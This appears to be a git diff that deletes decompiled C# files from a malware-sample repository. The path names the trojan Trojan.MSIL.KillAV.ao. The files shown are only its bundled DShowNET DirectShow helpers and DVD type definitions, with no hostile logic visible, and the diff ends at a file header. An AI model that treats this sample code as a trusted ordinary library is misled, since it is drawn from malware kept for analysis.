a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsUtils.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsUtils.cs deleted file mode 100644 index 6bede7fd..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/DsUtils.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.DsUtils -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class DsUtils - { - public static bool IsCorrectDirectXVersion() => File.Exists(Path.Combine(Environment.SystemDirectory, "dpnhpast.dll")); - - public static bool ShowCapPinDialog(ICaptureGraphBuilder2 bld, IBaseFilter flt, IntPtr hwnd) - { - object ppint = (object) null; - ISpecifyPropertyPages specifyPropertyPages1 = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - try - { - Guid capture = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid = typeof (IAMStreamConfig).GUID; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - return false; - } - if (!(ppint is ISpecifyPropertyPages specifyPropertyPages2)) - return false; - int num = specifyPropertyPages2.GetPages(out pPages); - num = DsUtils.OleCreatePropertyFrame(hwnd, 30, 30, (string) null, 1, ref ppint, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - specifyPropertyPages1 = (ISpecifyPropertyPages) null; - if (ppint != null) - Marshal.ReleaseComObject(ppint); - } - } - - public static bool ShowTunerPinDialog(ICaptureGraphBuilder2 bld, IBaseFilter flt, IntPtr hwnd) - { - object ppint = (object) null; - ISpecifyPropertyPages specifyPropertyPages1 = (ISpecifyPropertyPages) null; - DsCAUUID pPages = new DsCAUUID(); - try - { - Guid capture = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid = typeof (IAMTVTuner).GUID; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - { - pType = MediaType.Video; - if (bld.FindInterface(ref capture, ref pType, flt, ref guid, out ppint) != 0) - return false; - } - if (!(ppint is ISpecifyPropertyPages specifyPropertyPages2)) - return false; - int num = specifyPropertyPages2.GetPages(out pPages); - num = DsUtils.OleCreatePropertyFrame(hwnd, 30, 30, (string) null, 1, ref ppint, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - return true; - } - catch (Exception ex) - { - return false; - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - specifyPropertyPages1 = (ISpecifyPropertyPages) null; - if (ppint != null) - Marshal.ReleaseComObject(ppint); - } - } - - public int GetPin(IBaseFilter filter, PinDirection dirrequired, int num, out IPin ppPin) - { - ppPin = (IPin) null; - IEnumPins ppEnum; - int pin1 = filter.EnumPins(out ppEnum); - if (pin1 < 0 || ppEnum == null) - return pin1; - IPin[] ppPins = new IPin[1]; - int pin2; - do - { - pin2 = ppEnum.Next(1, ppPins, out int _); - if (pin2 == 0 && ppPins[0] != null) - { - PinDirection pPinDir = (PinDirection) 3; - pin2 = ppPins[0].QueryDirection(out pPinDir); - if (pin2 == 0 && pPinDir == dirrequired) - { - if (num == 0) - { - ppPin = ppPins[0]; - ppPins[0] = (IPin) null; - break; - } - --num; - } - Marshal.ReleaseComObject((object) ppPins[0]); - ppPins[0] = (IPin) null; - } - else - break; - } - while (pin2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - return pin2; - } - - public static void FreeAMMediaType(AMMediaType mediaType) - { - if (mediaType.formatSize != 0) - Marshal.FreeCoTaskMem(mediaType.formatPtr); - if (mediaType.unkPtr != IntPtr.Zero) - Marshal.Release(mediaType.unkPtr); - mediaType.formatSize = 0; - mediaType.formatPtr = IntPtr.Zero; - mediaType.unkPtr = IntPtr.Zero; - } - - [DllImport("olepro32.dll", CharSet = CharSet.Unicode)] - private static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - string lpszCaption, - int cObjects, - [MarshalAs(UnmanagedType.Interface), In] ref object ppUnk, - int cPages, - IntPtr pPageClsID, - int lcid, - int dwReserved, - IntPtr pvReserved); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAppMode.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAppMode.cs deleted file mode 100644 index 3f2f7aef..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAppMode.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioAppMode -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioAppMode - { - None, - Karaoke, - Surround, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAttr.cs deleted file mode 100644 index e36ba3ad..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioAttr.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdAudioAttr - { - public DvdAudioAppMode appMode; - public int appModeData; - public DvdAudioFormat audioFormat; - public int language; - public DvdAudioLangExt languageExtension; - public bool hasMultichannelInfo; - public int frequency; - public byte quantization; - public byte numberOfChannels; - public short dummy; - public int res1; - public int res2; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioCaps.cs deleted file mode 100644 index 51342e81..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioCaps.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdAudioCaps - { - Ac3 = 1, - Mpeg2 = 2, - Lpcm = 4, - Dts = 8, - Sdds = 16, // 0x00000010 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioFormat.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioFormat.cs deleted file mode 100644 index b345a3f9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioFormat.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioFormat -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioFormat - { - Ac3, - Mpeg1, - Mpeg1Drc, - Mpeg2, - Mpeg2Drc, - Lpcm, - Dts, - Sdds, - Other, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioLangExt.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioLangExt.cs deleted file mode 100644 index 692dc278..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdAudioLangExt.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdAudioLangExt -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdAudioLangExt - { - NotSpecified, - Captions, - VisuallyImpaired, - DirectorComments1, - DirectorComments2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCharSet.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCharSet.cs deleted file mode 100644 index 45a0d8c2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCharSet.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdCharSet -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdCharSet - { - Unicode, - Iso646, - Jis, - Iso8859, - SiftJis, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCmdFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCmdFlags.cs deleted file mode 100644 index b52ba818..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdCmdFlags.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdCmdFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdCmdFlags - { - None = 0, - Flush = 1, - SendEvt = 2, - Block = 4, - StartWRendered = 8, - EndARendered = 16, // 0x00000010 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDecoderCaps.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDecoderCaps.cs deleted file mode 100644 index 2f76a99f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDecoderCaps.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDecoderCaps -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdDecoderCaps - { - public int size; - public DvdAudioCaps audioCaps; - public double fwdMaxRateVideo; - public double fwdMaxRateAudio; - public double fwdMaxRateSP; - public double bwdMaxRateVideo; - public double bwdMaxRateAudio; - public double bwdMaxRateSP; - public int res1; - public int res2; - public int res3; - public int res4; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDiscSide.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDiscSide.cs deleted file mode 100644 index 62973a47..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDiscSide.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDiscSide -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdDiscSide - { - A = 1, - B = 2, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDomain.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDomain.cs deleted file mode 100644 index 05427742..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdDomain.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdDomain -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdDomain - { - FirstPlay = 1, - VideoManagerMenu = 2, - VideoTitleSetMenu = 3, - Title = 4, - Stop = 5, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdGraphFlags.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdGraphFlags.cs deleted file mode 100644 index 06bd8f3d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdGraphFlags.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdGraphFlags -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; - -namespace DShowNET.Dvd -{ - [Flags] - public enum DvdGraphFlags - { - Default = 0, - HwDecPrefer = 1, - HwDecOnly = 2, - SwDecPrefer = 4, - SwDecOnly = 8, - NoVpe = 256, // 0x00000100 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuAttr.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuAttr.cs deleted file mode 100644 index fc2f5ca9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuAttr.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdMenuAttr -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdMenuAttr - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] - public bool[] compatibleRegion; - public DvdVideoAttr videoAt; - public bool audioPresent; - public DvdAudioAttr audioAt; - public bool subPicPresent; - public DvdSubPicAttr subPicAt; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuID.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuID.cs deleted file mode 100644 index 99023cc5..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdMenuID.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdMenuID -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdMenuID - { - Title = 2, - Root = 3, - Subpicture = 4, - Audio = 5, - Angle = 6, - Chapter = 7, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdOptionFlag.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdOptionFlag.cs deleted file mode 100644 index 2412b9db..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdOptionFlag.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdOptionFlag -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdOptionFlag - { - ResetOnStop = 1, - NotifyParentalLevelChange = 2, - HmsfTimeCodeEvt = 3, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdPlayLocation.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdPlayLocation.cs deleted file mode 100644 index 8d507d7f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdPlayLocation.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdPlayLocation -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdPlayLocation - { - public int TitleNum; - public int ChapterNum; - public DvdTimeCode timeCode; - public int TimeCodeFlags; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRelButton.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRelButton.cs deleted file mode 100644 index 13e1b492..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRelButton.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdRelButton -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -namespace DShowNET.Dvd -{ - public enum DvdRelButton - { - Upper = 1, - Lower = 2, - Left = 3, - Right = 4, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRenderStatus.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRenderStatus.cs deleted file mode 100644 index 7c702646..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdRenderStatus.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.Dvd.DvdRenderStatus -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET.Dvd -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct DvdRenderStatus - { - public int vpeStatus; - public bool volInvalid; - public bool volUnknown; - public bool noLine21In; - public bool noLine21Out; - public int numStreams; - public int numStreamsFailed; - public DvdStreamFlags failedStreams; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/Dvd/DvdStreamFlags.cs 